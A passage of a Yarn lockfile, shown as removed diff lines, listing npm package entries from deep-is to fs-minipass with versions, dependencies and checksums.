10c0/d79136ec6c83ecbefd0f6a5593da6a9c91ec4d7ddc4b54c883d6e71ec9accb5f67a1a5e96d00a328196b5b5c86d365e98d8a3a70856aaf16b4e7b1985e67f5a6 - languageName: node - linkType: hard - -"deep-is@npm:^0.1.3": - version: 0.1.4 - resolution: "deep-is@npm:0.1.4" - checksum: 10c0/7f0ee496e0dff14a573dc6127f14c95061b448b87b995fc96c017ce0a1e66af1675e73f1d6064407975bc4ea6ab679497a29fff7b5b9c4e99cb10797c1ad0b4c - languageName: node - linkType: hard - -"deepmerge@npm:^2.1.1": - version: 2.2.1 - resolution: "deepmerge@npm:2.2.1" - checksum: 10c0/4379288cabd817587cee92a095ea65d18317b45e48010a2e0d87982b5f432239a144f9c8ebd4ab090cc21f0cb47e51ebfe32921f329b3b3084a2711d5d63e450 - languageName: node - linkType: hard - -"define-data-property@npm:^1.0.1, define-data-property@npm:^1.1.4": - version: 1.1.4 - resolution: "define-data-property@npm:1.1.4" - dependencies: - es-define-property: "npm:^1.0.0" - es-errors: "npm:^1.3.0" - gopd: "npm:^1.0.1" - checksum: 10c0/dea0606d1483eb9db8d930d4eac62ca0fa16738b0b3e07046cddfacf7d8c868bbe13fa0cb263eb91c7d0d527960dc3f2f2471a69ed7816210307f6744fe62e37 - languageName: node - linkType: hard - -"define-properties@npm:^1.1.3, define-properties@npm:^1.2.1": - version: 1.2.1 - resolution: "define-properties@npm:1.2.1" - dependencies: - define-data-property: "npm:^1.0.1" - has-property-descriptors: "npm:^1.0.0" - object-keys: "npm:^1.1.1" - checksum: 10c0/88a152319ffe1396ccc6ded510a3896e77efac7a1bfbaa174a7b00414a1747377e0bb525d303794a47cf30e805c2ec84e575758512c6e44a993076d29fd4e6c3 - languageName: node - linkType: hard - -"dequal@npm:^2.0.3": - version: 2.0.3 - resolution: "dequal@npm:2.0.3" - checksum: 10c0/f98860cdf58b64991ae10205137c0e97d384c3a4edc7f807603887b7c4b850af1224a33d88012009f150861cbee4fa2d322c4cc04b9313bee312e47f6ecaa888 - languageName: node - linkType: hard - -"doctrine@npm:^2.1.0": - version: 2.1.0 - resolution: "doctrine@npm:2.1.0" - dependencies: - esutils: "npm:^2.0.2" - checksum: 10c0/b6416aaff1f380bf56c3b552f31fdf7a69b45689368deca72d28636f41c16bb28ec3ebc40ace97db4c1afc0ceeb8120e8492fe0046841c94c2933b2e30a7d5ac - languageName: node - linkType: hard - -"dom-helpers@npm:^5.0.1": - version: 5.2.1 - resolution: "dom-helpers@npm:5.2.1" - dependencies: - "@babel/runtime": "npm:^7.8.7" - csstype: "npm:^3.0.2" - checksum: 10c0/f735074d66dd759b36b158fa26e9d00c9388ee0e8c9b16af941c38f014a37fc80782de83afefd621681b19ac0501034b4f1c4a3bff5caa1b8667f0212b5e124c - languageName: node - linkType: hard - -"dunder-proto@npm:^1.0.0, dunder-proto@npm:^1.0.1": - version: 1.0.1 - resolution: "dunder-proto@npm:1.0.1" - dependencies: - call-bind-apply-helpers: "npm:^1.0.1" - es-errors: "npm:^1.3.0" - gopd: "npm:^1.2.0" - checksum: 10c0/199f2a0c1c16593ca0a145dbf76a962f8033ce3129f01284d48c45ed4e14fea9bbacd7b3610b6cdc33486cef20385ac054948fefc6272fcce645c09468f93031 - languageName: node - linkType: hard - -"electron-to-chromium@npm:^1.5.263": - version: 1.5.302 - resolution: "electron-to-chromium@npm:1.5.302" - checksum: 10c0/014413f2b4ec3a0e043c68f6c07a760d230b14e36b8549c5b124f386a6318d9641e69be2aa0df1877395dd99922745c1722c8ecb3d72205f0f3b3b3dc44c8442 - languageName: node - linkType: hard - -"emoji-regex@npm:^9.2.2": - version: 9.2.2 - resolution: "emoji-regex@npm:9.2.2" - checksum: 10c0/af014e759a72064cf66e6e694a7fc6b0ed3d8db680427b021a89727689671cefe9d04151b2cad51dbaf85d5ba790d061cd167f1cf32eb7b281f6368b3c181639 - languageName: node - linkType: hard - -"encoding@npm:^0.1.13": - version: 0.1.13 - resolution: "encoding@npm:0.1.13" - dependencies: - iconv-lite: "npm:^0.6.2" - checksum: 10c0/36d938712ff00fe1f4bac88b43bcffb5930c1efa57bbcdca9d67e1d9d6c57cfb1200fb01efe0f3109b2ce99b231f90779532814a81370a1bd3274a0f58585039 - languageName: node - linkType: hard - -"env-paths@npm:^2.2.0": - version: 2.2.1 - resolution: "env-paths@npm:2.2.1" - checksum: 10c0/285325677bf00e30845e330eec32894f5105529db97496ee3f598478e50f008c5352a41a30e5e72ec9de8a542b5a570b85699cd63bd2bc646dbcb9f311d83bc4 - languageName: node - linkType: hard - -"err-code@npm:^2.0.2": - version: 2.0.3 - resolution: "err-code@npm:2.0.3" - checksum: 10c0/b642f7b4dd4a376e954947550a3065a9ece6733ab8e51ad80db727aaae0817c2e99b02a97a3d6cecc648a97848305e728289cf312d09af395403a90c9d4d8a66 - languageName: node - linkType: hard - -"error-ex@npm:^1.3.1": - version: 1.3.4 - resolution: "error-ex@npm:1.3.4" - dependencies: - is-arrayish: "npm:^0.2.1" - checksum: 10c0/b9e34ff4778b8f3b31a8377e1c654456f4c41aeaa3d10a1138c3b7635d8b7b2e03eb2475d46d8ae055c1f180a1063e100bffabf64ea7e7388b37735df5328664 - languageName: node - linkType: hard - -"es-abstract@npm:^1.17.5, es-abstract@npm:^1.23.2, es-abstract@npm:^1.23.3, es-abstract@npm:^1.23.5, es-abstract@npm:^1.23.6, es-abstract@npm:^1.23.9, es-abstract@npm:^1.24.0, es-abstract@npm:^1.24.1": - version: 1.24.1 - resolution: "es-abstract@npm:1.24.1" - dependencies: - array-buffer-byte-length: "npm:^1.0.2" - arraybuffer.prototype.slice: "npm:^1.0.4" - available-typed-arrays: "npm:^1.0.7" - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.4" - data-view-buffer: "npm:^1.0.2" - data-view-byte-length: "npm:^1.0.2" - data-view-byte-offset: "npm:^1.0.1" - es-define-property: "npm:^1.0.1" - es-errors: "npm:^1.3.0" - es-object-atoms: "npm:^1.1.1" - es-set-tostringtag: "npm:^2.1.0" - es-to-primitive: "npm:^1.3.0" - function.prototype.name: "npm:^1.1.8" - get-intrinsic: "npm:^1.3.0" - get-proto: "npm:^1.0.1" - get-symbol-description: "npm:^1.1.0" - globalthis: "npm:^1.0.4" - gopd: "npm:^1.2.0" - has-property-descriptors: "npm:^1.0.2" - has-proto: "npm:^1.2.0" - has-symbols: "npm:^1.1.0" - hasown: "npm:^2.0.2" - internal-slot: "npm:^1.1.0" - is-array-buffer: "npm:^3.0.5" - is-callable: "npm:^1.2.7" - is-data-view: "npm:^1.0.2" - is-negative-zero: "npm:^2.0.3" - is-regex: "npm:^1.2.1" - is-set: "npm:^2.0.3" - is-shared-array-buffer: "npm:^1.0.4" - is-string: "npm:^1.1.1" - is-typed-array: "npm:^1.1.15" - is-weakref: "npm:^1.1.1" - math-intrinsics: "npm:^1.1.0" - object-inspect: "npm:^1.13.4" - object-keys: "npm:^1.1.1" - object.assign: "npm:^4.1.7" - own-keys: "npm:^1.0.1" - regexp.prototype.flags: "npm:^1.5.4" - safe-array-concat: "npm:^1.1.3" - safe-push-apply: "npm:^1.0.0" - safe-regex-test: "npm:^1.1.0" - set-proto: "npm:^1.0.0" - stop-iteration-iterator: "npm:^1.1.0" - string.prototype.trim: "npm:^1.2.10" - string.prototype.trimend: "npm:^1.0.9" - string.prototype.trimstart: "npm:^1.0.8" - typed-array-buffer: "npm:^1.0.3" - typed-array-byte-length: "npm:^1.0.3" - typed-array-byte-offset: "npm:^1.0.4" - typed-array-length: "npm:^1.0.7" - unbox-primitive: "npm:^1.1.0" - which-typed-array: "npm:^1.1.19" - checksum: 10c0/fca062ef8b5daacf743732167d319a212d45cb655b0bb540821d38d715416ae15b04b84fc86da9e2c89135aa7b337337b6c867f84dcde698d75d55688d5d765c - languageName: node - linkType: hard - -"es-define-property@npm:^1.0.0, es-define-property@npm:^1.0.1": - version: 1.0.1 - resolution: "es-define-property@npm:1.0.1" - checksum: 10c0/3f54eb49c16c18707949ff25a1456728c883e81259f045003499efba399c08bad00deebf65cccde8c0e07908c1a225c9d472b7107e558f2a48e28d530e34527c - languageName: node - linkType: hard - -"es-errors@npm:^1.3.0": - version: 1.3.0 - resolution: "es-errors@npm:1.3.0" - checksum: 10c0/0a61325670072f98d8ae3b914edab3559b6caa980f08054a3b872052640d91da01d38df55df797fcc916389d77fc92b8d5906cf028f4db46d7e3003abecbca85 - languageName: node - linkType: hard - -"es-iterator-helpers@npm:^1.2.1": - version: 1.2.2 - resolution: "es-iterator-helpers@npm:1.2.2" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.4" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.24.1" - es-errors: "npm:^1.3.0" - es-set-tostringtag: "npm:^2.1.0" - function-bind: "npm:^1.1.2" - get-intrinsic: "npm:^1.3.0" - globalthis: "npm:^1.0.4" - gopd: "npm:^1.2.0" - has-property-descriptors: "npm:^1.0.2" - has-proto: "npm:^1.2.0" - has-symbols: "npm:^1.1.0" - internal-slot: "npm:^1.1.0" - iterator.prototype: "npm:^1.1.5" - safe-array-concat: "npm:^1.1.3" - checksum: 10c0/1ced8abf845a45e660dd77b5f3a64358421df70e4a0bd1897d5ddfefffed8409a6a2ca21241b9367e639df9eca74abc1c678b3020bffe6bee1f1826393658ddb - languageName: node - linkType: hard - -"es-object-atoms@npm:^1.0.0, es-object-atoms@npm:^1.1.1": - version: 1.1.1 - resolution: "es-object-atoms@npm:1.1.1" - dependencies: - es-errors: "npm:^1.3.0" - checksum: 10c0/65364812ca4daf48eb76e2a3b7a89b3f6a2e62a1c420766ce9f692665a29d94fe41fe88b65f24106f449859549711e4b40d9fb8002d862dfd7eb1c512d10be0c - languageName: node - linkType: hard - -"es-set-tostringtag@npm:^2.1.0": - version: 2.1.0 - resolution: "es-set-tostringtag@npm:2.1.0" - dependencies: - es-errors: "npm:^1.3.0" - get-intrinsic: "npm:^1.2.6" - has-tostringtag: "npm:^1.0.2" - hasown: "npm:^2.0.2" - checksum: 10c0/ef2ca9ce49afe3931cb32e35da4dcb6d86ab02592cfc2ce3e49ced199d9d0bb5085fc7e73e06312213765f5efa47cc1df553a6a5154584b21448e9fb8355b1af - languageName: node - linkType: hard - -"es-shim-unscopables@npm:^1.0.2": - version: 1.1.0 - resolution: "es-shim-unscopables@npm:1.1.0" - dependencies: - hasown: "npm:^2.0.2" - checksum: 10c0/1b9702c8a1823fc3ef39035a4e958802cf294dd21e917397c561d0b3e195f383b978359816b1732d02b255ccf63e1e4815da0065b95db8d7c992037be3bbbcdb - languageName: node - linkType: hard - -"es-to-primitive@npm:^1.3.0": - version: 1.3.0 - resolution: "es-to-primitive@npm:1.3.0" - dependencies: - is-callable: "npm:^1.2.7" - is-date-object: "npm:^1.0.5" - is-symbol: "npm:^1.0.4" - checksum: 10c0/c7e87467abb0b438639baa8139f701a06537d2b9bc758f23e8622c3b42fd0fdb5bde0f535686119e446dd9d5e4c0f238af4e14960f4771877cf818d023f6730b - languageName: node - linkType: hard - -"esbuild@npm:^0.27.0": - version: 0.27.3 - resolution: "esbuild@npm:0.27.3" - dependencies: - "@esbuild/aix-ppc64": "npm:0.27.3" - "@esbuild/android-arm": "npm:0.27.3" - "@esbuild/android-arm64": "npm:0.27.3" - "@esbuild/android-x64": "npm:0.27.3" - "@esbuild/darwin-arm64": "npm:0.27.3" - "@esbuild/darwin-x64": "npm:0.27.3" - "@esbuild/freebsd-arm64": "npm:0.27.3" - "@esbuild/freebsd-x64": "npm:0.27.3" - "@esbuild/linux-arm": "npm:0.27.3" - "@esbuild/linux-arm64": "npm:0.27.3" - "@esbuild/linux-ia32": "npm:0.27.3" - "@esbuild/linux-loong64": "npm:0.27.3" - "@esbuild/linux-mips64el": "npm:0.27.3" - "@esbuild/linux-ppc64": "npm:0.27.3" - "@esbuild/linux-riscv64": "npm:0.27.3" - "@esbuild/linux-s390x": "npm:0.27.3" - "@esbuild/linux-x64": "npm:0.27.3" - "@esbuild/netbsd-arm64": "npm:0.27.3" - "@esbuild/netbsd-x64": "npm:0.27.3" - "@esbuild/openbsd-arm64": "npm:0.27.3" - "@esbuild/openbsd-x64": "npm:0.27.3" - "@esbuild/openharmony-arm64": "npm:0.27.3" - "@esbuild/sunos-x64": "npm:0.27.3" - "@esbuild/win32-arm64": "npm:0.27.3" - "@esbuild/win32-ia32": "npm:0.27.3" - "@esbuild/win32-x64": "npm:0.27.3" - dependenciesMeta: - "@esbuild/aix-ppc64": - optional: true - "@esbuild/android-arm": - optional: true - "@esbuild/android-arm64": - optional: true - "@esbuild/android-x64": - optional: true - "@esbuild/darwin-arm64": - optional: true - "@esbuild/darwin-x64": - optional: true - "@esbuild/freebsd-arm64": - optional: true - "@esbuild/freebsd-x64": - optional: true - "@esbuild/linux-arm": - optional: true - "@esbuild/linux-arm64": - optional: true - "@esbuild/linux-ia32": - optional: true - "@esbuild/linux-loong64": - optional: true - "@esbuild/linux-mips64el": - optional: true - "@esbuild/linux-ppc64": - optional: true - "@esbuild/linux-riscv64": - optional: true - "@esbuild/linux-s390x": - optional: true - "@esbuild/linux-x64": - optional: true - "@esbuild/netbsd-arm64": - optional: true - "@esbuild/netbsd-x64": - optional: true - "@esbuild/openbsd-arm64": - optional: true - "@esbuild/openbsd-x64": - optional: true - "@esbuild/openharmony-arm64": - optional: true - "@esbuild/sunos-x64": - optional: true - "@esbuild/win32-arm64": - optional: true - "@esbuild/win32-ia32": - optional: true - "@esbuild/win32-x64": - optional: true - bin: - esbuild: bin/esbuild - checksum: 10c0/fdc3f87a3f08b3ef98362f37377136c389a0d180fda4b8d073b26ba930cf245521db0a368f119cc7624bc619248fff1439f5811f062d853576f8ffa3df8ee5f1 - languageName: node - linkType: hard - -"escalade@npm:^3.2.0": - version: 3.2.0 - resolution: "escalade@npm:3.2.0" - checksum: 10c0/ced4dd3a78e15897ed3be74e635110bbf3b08877b0a41be50dcb325ee0e0b5f65fc2d50e9845194d7c4633f327e2e1c6cce00a71b617c5673df0374201d67f65 - languageName: node - linkType: hard - -"escape-string-regexp@npm:^4.0.0": - version: 4.0.0 - resolution: "escape-string-regexp@npm:4.0.0" - checksum: 10c0/9497d4dd307d845bd7f75180d8188bb17ea8c151c1edbf6b6717c100e104d629dc2dfb687686181b0f4b7d732c7dfdc4d5e7a8ff72de1b0ca283a75bbb3a9cd9 - languageName: node - linkType: hard - -"eslint-config-prettier@npm:10.1.8": - version: 10.1.8 - resolution: "eslint-config-prettier@npm:10.1.8" - peerDependencies: - eslint: ">=7.0.0" - bin: - eslint-config-prettier: bin/cli.js - checksum: 10c0/e1bcfadc9eccd526c240056b1e59c5cd26544fe59feb85f38f4f1f116caed96aea0b3b87868e68b3099e55caaac3f2e5b9f58110f85db893e83a332751192682 - languageName: node - linkType: hard - -"eslint-plugin-jsx-a11y@npm:6.10.2": - version: 6.10.2 - resolution: "eslint-plugin-jsx-a11y@npm:6.10.2" - dependencies: - aria-query: "npm:^5.3.2" - array-includes: "npm:^3.1.8" - array.prototype.flatmap: "npm:^1.3.2" - ast-types-flow: "npm:^0.0.8" - axe-core: "npm:^4.10.0" - axobject-query: "npm:^4.1.0" - damerau-levenshtein: "npm:^1.0.8" - emoji-regex: "npm:^9.2.2" - hasown: "npm:^2.0.2" - jsx-ast-utils: "npm:^3.3.5" - language-tags: "npm:^1.0.9" - minimatch: "npm:^3.1.2" - object.fromentries: "npm:^2.0.8" - safe-regex-test: "npm:^1.0.3" - string.prototype.includes: "npm:^2.0.1" - peerDependencies: - eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9 - checksum: 10c0/d93354e03b0cf66f018d5c50964e074dffe4ddf1f9b535fa020d19c4ae45f89c1a16e9391ca61ac3b19f7042c751ac0d361a056a65cbd1de24718a53ff8daa6e - languageName: node - linkType: hard - -"eslint-plugin-prettier@npm:5.5.5": - version: 5.5.5 - resolution: "eslint-plugin-prettier@npm:5.5.5" - dependencies: - prettier-linter-helpers: "npm:^1.0.1" - synckit: "npm:^0.11.12" - peerDependencies: - "@types/eslint": ">=8.0.0" - eslint: ">=8.0.0" - eslint-config-prettier: ">= 7.0.0 <10.0.0 || >=10.1.0" - prettier: ">=3.0.0" - peerDependenciesMeta: - "@types/eslint": - optional: true - eslint-config-prettier: - optional: true - checksum: 10c0/091449b28c77ab2efbbf674e977181f2c8453d95a4df68218bddd87a4dfaa9ecc4eda60164e416f5986fb5d577e66e8d8e1e23d81e8555f8d735375598b03257 - languageName: node - linkType: hard - -"eslint-plugin-react-hooks@npm:7.0.1": - version: 7.0.1 - resolution: "eslint-plugin-react-hooks@npm:7.0.1" - dependencies: - "@babel/core": "npm:^7.24.4" - "@babel/parser": "npm:^7.24.4" - hermes-parser: "npm:^0.25.1" - zod: "npm:^3.25.0 || ^4.0.0" - zod-validation-error: "npm:^3.5.0 || ^4.0.0" - peerDependencies: - eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 - checksum: 10c0/1e711d1a9d1fa9cfc51fa1572500656577201199c70c795c6a27adfc1df39e5c598f69aab6aa91117753d23cc1f11388579a2bed14921cf9a4efe60ae8618496 - languageName: node - linkType: hard - -"eslint-plugin-react@npm:7.37.5": - version: 7.37.5 - resolution: "eslint-plugin-react@npm:7.37.5" - dependencies: - array-includes: "npm:^3.1.8" - array.prototype.findlast: "npm:^1.2.5" - array.prototype.flatmap: "npm:^1.3.3" - array.prototype.tosorted: "npm:^1.1.4" - doctrine: "npm:^2.1.0" - es-iterator-helpers: "npm:^1.2.1" - estraverse: "npm:^5.3.0" - hasown: "npm:^2.0.2" - jsx-ast-utils: "npm:^2.4.1 || ^3.0.0" - minimatch: "npm:^3.1.2" - object.entries: "npm:^1.1.9" - object.fromentries: "npm:^2.0.8" - object.values: "npm:^1.2.1" - prop-types: "npm:^15.8.1" - resolve: "npm:^2.0.0-next.5" - semver: "npm:^6.3.1" - string.prototype.matchall: "npm:^4.0.12" - string.prototype.repeat: "npm:^1.0.0" - peerDependencies: - eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7 - checksum: 10c0/c850bfd556291d4d9234f5ca38db1436924a1013627c8ab1853f77cac73ec19b020e861e6c7b783436a48b6ffcdfba4547598235a37ad4611b6739f65fd8ad57 - languageName: node - linkType: hard - -"eslint-scope@npm:^9.1.0": - version: 9.1.1 - resolution: "eslint-scope@npm:9.1.1" - dependencies: - "@types/esrecurse": "npm:^4.3.1" - "@types/estree": "npm:^1.0.8" - esrecurse: "npm:^4.3.0" - estraverse: "npm:^5.2.0" - checksum: 10c0/58327b26cd6a78693951668ce68c466a535259173d187cbd5c9d3cbe657cfd5dfaf1c01ec3176b8f6f1cf240b48d01d01e0f76ad9300682d9dd51d5d1514d4c1 - languageName: node - linkType: hard - -"eslint-visitor-keys@npm:^3.4.3": - version: 3.4.3 - resolution: "eslint-visitor-keys@npm:3.4.3" - checksum: 10c0/92708e882c0a5ffd88c23c0b404ac1628cf20104a108c745f240a13c332a11aac54f49a22d5762efbffc18ecbc9a580d1b7ad034bf5f3cc3307e5cbff2ec9820 - languageName: node - linkType: hard - -"eslint-visitor-keys@npm:^4.2.1": - version: 4.2.1 - resolution: "eslint-visitor-keys@npm:4.2.1" - checksum: 10c0/fcd43999199d6740db26c58dbe0c2594623e31ca307e616ac05153c9272f12f1364f5a0b1917a8e962268fdecc6f3622c1c2908b4fcc2e047a106fe6de69dc43 - languageName: node - linkType: hard - -"eslint-visitor-keys@npm:^5.0.0, eslint-visitor-keys@npm:^5.0.1": - version: 5.0.1 - resolution: "eslint-visitor-keys@npm:5.0.1" - checksum: 10c0/16190bdf2cbae40a1109384c94450c526a79b0b9c3cb21e544256ed85ac48a4b84db66b74a6561d20fe6ab77447f150d711c2ad5ad74df4fcc133736bce99678 - languageName: node - linkType: hard - -"eslint@npm:10.0.0": - version: 10.0.0 - resolution: "eslint@npm:10.0.0" - dependencies: - "@eslint-community/eslint-utils": "npm:^4.8.0" - "@eslint-community/regexpp": "npm:^4.12.2" - "@eslint/config-array": "npm:^0.23.0" - "@eslint/config-helpers": "npm:^0.5.2" - "@eslint/core": "npm:^1.1.0" - "@eslint/plugin-kit": "npm:^0.6.0" - "@humanfs/node": "npm:^0.16.6" - "@humanwhocodes/module-importer": "npm:^1.0.1" - "@humanwhocodes/retry": "npm:^0.4.2" - "@types/estree": "npm:^1.0.6" - ajv: "npm:^6.12.4" - cross-spawn: "npm:^7.0.6" - debug: "npm:^4.3.2" - escape-string-regexp: "npm:^4.0.0" - eslint-scope: "npm:^9.1.0" - eslint-visitor-keys: "npm:^5.0.0" - espree: "npm:^11.1.0" - esquery: "npm:^1.7.0" - esutils: "npm:^2.0.2" - fast-deep-equal: "npm:^3.1.3" - file-entry-cache: "npm:^8.0.0" - find-up: "npm:^5.0.0" - glob-parent: "npm:^6.0.2" - ignore: "npm:^5.2.0" - imurmurhash: "npm:^0.1.4" - is-glob: "npm:^4.0.0" - json-stable-stringify-without-jsonify: "npm:^1.0.1" - minimatch: "npm:^10.1.1" - natural-compare: "npm:^1.4.0" - optionator: "npm:^0.9.3" - peerDependencies: - jiti: "*" - peerDependenciesMeta: - jiti: - optional: true - bin: - eslint: bin/eslint.js - checksum: 10c0/87f3aa069693969841d773423c214ec83226873ead8565a65bdb40a7a0d3d5c95b8262c8232403eea235c5e1477457f893a3b6a72a0f4abc6bf2fee8f8410ef8 - languageName: node - linkType: hard - -"espree@npm:^10.0.1": - version: 10.4.0 - resolution: "espree@npm:10.4.0" - dependencies: - acorn: "npm:^8.15.0" - acorn-jsx: "npm:^5.3.2" - eslint-visitor-keys: "npm:^4.2.1" - checksum: 10c0/c63fe06131c26c8157b4083313cb02a9a54720a08e21543300e55288c40e06c3fc284bdecf108d3a1372c5934a0a88644c98714f38b6ae8ed272b40d9ea08d6b - languageName: node - linkType: hard - -"espree@npm:^11.1.0": - version: 11.1.1 - resolution: "espree@npm:11.1.1" - dependencies: - acorn: "npm:^8.16.0" - acorn-jsx: "npm:^5.3.2" - eslint-visitor-keys: "npm:^5.0.1" - checksum: 10c0/2feae74efdfb037b9e9fcb30506799845cf20900de5e441ed03e5c51aaa249f85ea5818ff177682acc0c9bfb4ac97e1965c238ee44ac7c305aab8747177bab69 - languageName: node - linkType: hard - -"esquery@npm:^1.7.0": - version: 1.7.0 - resolution: "esquery@npm:1.7.0" - dependencies: - estraverse: "npm:^5.1.0" - checksum: 10c0/77d5173db450b66f3bc685d11af4c90cffeedb340f34a39af96d43509a335ce39c894fd79233df32d38f5e4e219fa0f7076f6ec90bae8320170ba082c0db4793 - languageName: node - linkType: hard - -"esrecurse@npm:^4.3.0": - version: 4.3.0 - resolution: "esrecurse@npm:4.3.0" - dependencies: - estraverse: "npm:^5.2.0" - checksum: 10c0/81a37116d1408ded88ada45b9fb16dbd26fba3aadc369ce50fcaf82a0bac12772ebd7b24cd7b91fc66786bf2c1ac7b5f196bc990a473efff972f5cb338877cf5 - languageName: node - linkType: hard - -"estraverse@npm:^5.1.0, estraverse@npm:^5.2.0, estraverse@npm:^5.3.0": - version: 5.3.0 - resolution: "estraverse@npm:5.3.0" - checksum: 10c0/1ff9447b96263dec95d6d67431c5e0771eb9776427421260a3e2f0fdd5d6bd4f8e37a7338f5ad2880c9f143450c9b1e4fc2069060724570a49cf9cf0312bd107 - languageName: node - linkType: hard - -"esutils@npm:^2.0.2": - version: 2.0.3 - resolution: "esutils@npm:2.0.3" - checksum: 10c0/9a2fe69a41bfdade834ba7c42de4723c97ec776e40656919c62cbd13607c45e127a003f05f724a1ea55e5029a4cf2de444b13009f2af71271e42d93a637137c7 - languageName: node - linkType: hard - -"exponential-backoff@npm:^3.1.1": - version: 3.1.3 - resolution: "exponential-backoff@npm:3.1.3" - checksum: 10c0/77e3ae682b7b1f4972f563c6dbcd2b0d54ac679e62d5d32f3e5085feba20483cf28bd505543f520e287a56d4d55a28d7874299941faf637e779a1aa5994d1267 - languageName: node - linkType: hard - -"fast-deep-equal@npm:^3.1.1, fast-deep-equal@npm:^3.1.3": - version: 3.1.3 - resolution: "fast-deep-equal@npm:3.1.3" - checksum: 10c0/40dedc862eb8992c54579c66d914635afbec43350afbbe991235fdcb4e3a8d5af1b23ae7e79bef7d4882d0ecee06c3197488026998fb19f72dc95acff1d1b1d0 - languageName: node - linkType: hard - -"fast-diff@npm:^1.1.2": - version: 1.3.0 - resolution: "fast-diff@npm:1.3.0" - checksum: 10c0/5c19af237edb5d5effda008c891a18a585f74bf12953be57923f17a3a4d0979565fc64dbc73b9e20926b9d895f5b690c618cbb969af0cf022e3222471220ad29 - languageName: node - linkType: hard - -"fast-json-stable-stringify@npm:^2.0.0": - version: 2.1.0 - resolution: "fast-json-stable-stringify@npm:2.1.0" - checksum: 10c0/7f081eb0b8a64e0057b3bb03f974b3ef00135fbf36c1c710895cd9300f13c94ba809bb3a81cf4e1b03f6e5285610a61abbd7602d0652de423144dfee5a389c9b - languageName: node - linkType: hard - -"fast-levenshtein@npm:^2.0.6": - version: 2.0.6 - resolution: "fast-levenshtein@npm:2.0.6" - checksum: 10c0/111972b37338bcb88f7d9e2c5907862c280ebf4234433b95bc611e518d192ccb2d38119c4ac86e26b668d75f7f3894f4ff5c4982899afced7ca78633b08287c4 - languageName: node - linkType: hard - -"fdir@npm:^6.5.0": - version: 6.5.0 - resolution: "fdir@npm:6.5.0" - peerDependencies: - picomatch: ^3 || ^4 - peerDependenciesMeta: - picomatch: - optional: true - checksum: 10c0/e345083c4306b3aed6cb8ec551e26c36bab5c511e99ea4576a16750ddc8d3240e63826cc624f5ae17ad4dc82e68a253213b60d556c11bfad064b7607847ed07f - languageName: node - linkType: hard - -"file-entry-cache@npm:^8.0.0": - version: 8.0.0 - resolution: "file-entry-cache@npm:8.0.0" - dependencies: - flat-cache: "npm:^4.0.0" - checksum: 10c0/9e2b5938b1cd9b6d7e3612bdc533afd4ac17b2fc646569e9a8abbf2eb48e5eb8e316bc38815a3ef6a1b456f4107f0d0f055a614ca613e75db6bf9ff4d72c1638 - languageName: node - linkType: hard - -"find-root@npm:^1.1.0": - version: 1.1.0 - resolution: "find-root@npm:1.1.0" - checksum: 10c0/1abc7f3bf2f8d78ff26d9e00ce9d0f7b32e5ff6d1da2857bcdf4746134c422282b091c672cde0572cac3840713487e0a7a636af9aa1b74cb11894b447a521efa - languageName: node - linkType: hard - -"find-up@npm:^5.0.0": - version: 5.0.0 - resolution: "find-up@npm:5.0.0" - dependencies: - locate-path: "npm:^6.0.0" - path-exists: "npm:^4.0.0" - checksum: 10c0/062c5a83a9c02f53cdd6d175a37ecf8f87ea5bbff1fdfb828f04bfa021441bc7583e8ebc0872a4c1baab96221fb8a8a275a19809fb93fbc40bd69ec35634069a - languageName: node - linkType: hard - -"flat-cache@npm:^4.0.0": - version: 4.0.1 - resolution: "flat-cache@npm:4.0.1" - dependencies: - flatted: "npm:^3.2.9" - keyv: "npm:^4.5.4" - checksum: 10c0/2c59d93e9faa2523e4fda6b4ada749bed432cfa28c8e251f33b25795e426a1c6dbada777afb1f74fcfff33934fdbdea921ee738fcc33e71adc9d6eca984a1cfc - languageName: node - linkType: hard - -"flatqueue@npm:^3.0.0": - version: 3.0.0 - resolution: "flatqueue@npm:3.0.0" - checksum: 10c0/585f4f2c6c3d080b9ef32318258984c5602fb94990886e53c8cf1272ed3629efd64157b1f06b9f0c584b3dc79da547279246027c282ac07e3199ec490dc7c91d - languageName: node - linkType: hard - -"flatted@npm:^3.2.9": - version: 3.3.3 - resolution: "flatted@npm:3.3.3" - checksum: 10c0/e957a1c6b0254aa15b8cce8533e24165abd98fadc98575db082b786b5da1b7d72062b81bfdcd1da2f4d46b6ed93bec2434e62333e9b4261d79ef2e75a10dd538 - languageName: node - linkType: hard - -"for-each@npm:^0.3.3, for-each@npm:^0.3.5": - version: 0.3.5 - resolution: "for-each@npm:0.3.5" - dependencies: - is-callable: "npm:^1.2.7" - checksum: 10c0/0e0b50f6a843a282637d43674d1fb278dda1dd85f4f99b640024cfb10b85058aac0cc781bf689d5fe50b4b7f638e91e548560723a4e76e04fe96ae35ef039cee - languageName: node - linkType: hard - -"formik@npm:2.4.9": - version: 2.4.9 - resolution: "formik@npm:2.4.9" - dependencies: - "@types/hoist-non-react-statics": "npm:^3.3.1" - deepmerge: "npm:^2.1.1" - hoist-non-react-statics: "npm:^3.3.0" - lodash: "npm:^4.17.21" - lodash-es: "npm:^4.17.21" - react-fast-compare: "npm:^2.0.1" - tiny-warning: "npm:^1.0.2" - tslib: "npm:^2.0.0" - peerDependencies: - react: ">=16.8.0" - checksum: 10c0/2b76154b624f4464871f56204a7a87fec9f0cc24d742ad4e20628bd680a81ef2ae9966f54b616003f623dc1f7c7b25a25aafa8a59bcc1d940b7526fb665dbd0b - languageName: node - linkType: hard - -"framer-motion@npm:12.34.2": - version: 12.34.2 - resolution: "framer-motion@npm:12.34.2" - dependencies: - motion-dom: "npm:^12.34.2" - motion-utils: "npm:^12.29.2" - tslib: "npm:^2.4.0" - peerDependencies: - "@emotion/is-prop-valid": "*" - react: ^18.0.0 || ^19.0.0 - react-dom: ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@emotion/is-prop-valid": - optional: true - react: - optional: true - react-dom: - optional: true - checksum: 10c0/1af7caabe56275e82fc1abc73e6172cb0f0b8eb71fa4315353d8f39097dc2b76036eb77002897d73d8c577f226e3d9abf4cb1b3e51a6634f8664dc3ca82f6ddf - languageName: node - linkType: hard - -"fs-minipass@npm:^3.0.0": - version: 3.0.3 - resolution: "fs-minipass@npm:3.0.3" - dependencies: - minipass: 